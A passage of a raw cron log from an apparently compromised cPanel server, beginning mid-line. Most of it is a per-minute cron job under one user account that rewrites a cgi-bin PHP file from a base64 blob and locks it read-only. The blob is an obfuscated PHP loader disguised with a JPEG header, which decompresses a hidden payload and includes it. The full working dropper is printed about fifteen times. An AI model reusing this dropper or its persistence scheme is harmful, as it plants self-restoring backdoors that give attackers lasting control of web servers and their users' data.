PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:29:01 server CROND[5949]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:30:01 server CROND[6029]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 07:30:01 server CROND[6030]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 07:30:01 server CROND[6031]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 07:30:01 server CROND[6032]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:31:01 server CROND[6159]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:32:01 server CROND[6254]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:33:01 server CROND[6408]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:34:01 server CROND[6474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:35:01 server CROND[6560]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 07:35:01 server CROND[6561]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 07:35:01 server CROND[6562]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  9 07:35:01 server CROND[6563]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 07:35:01 server CROND[6564]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:36:01 server CROND[6688]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:37:01 server CROND[6750]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:38:01 server CROND[6911]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:39:01 server CROND[6967]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 07:39:01 server CROND[6968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:40:01 server CROND[7041]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:40:01 server CROND[7040]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 07:40:01 server CROND[7042]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 07:40:01 server CROND[7043]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 07:41:01 server CROND[7185]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:42:01 server CROND[7252]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
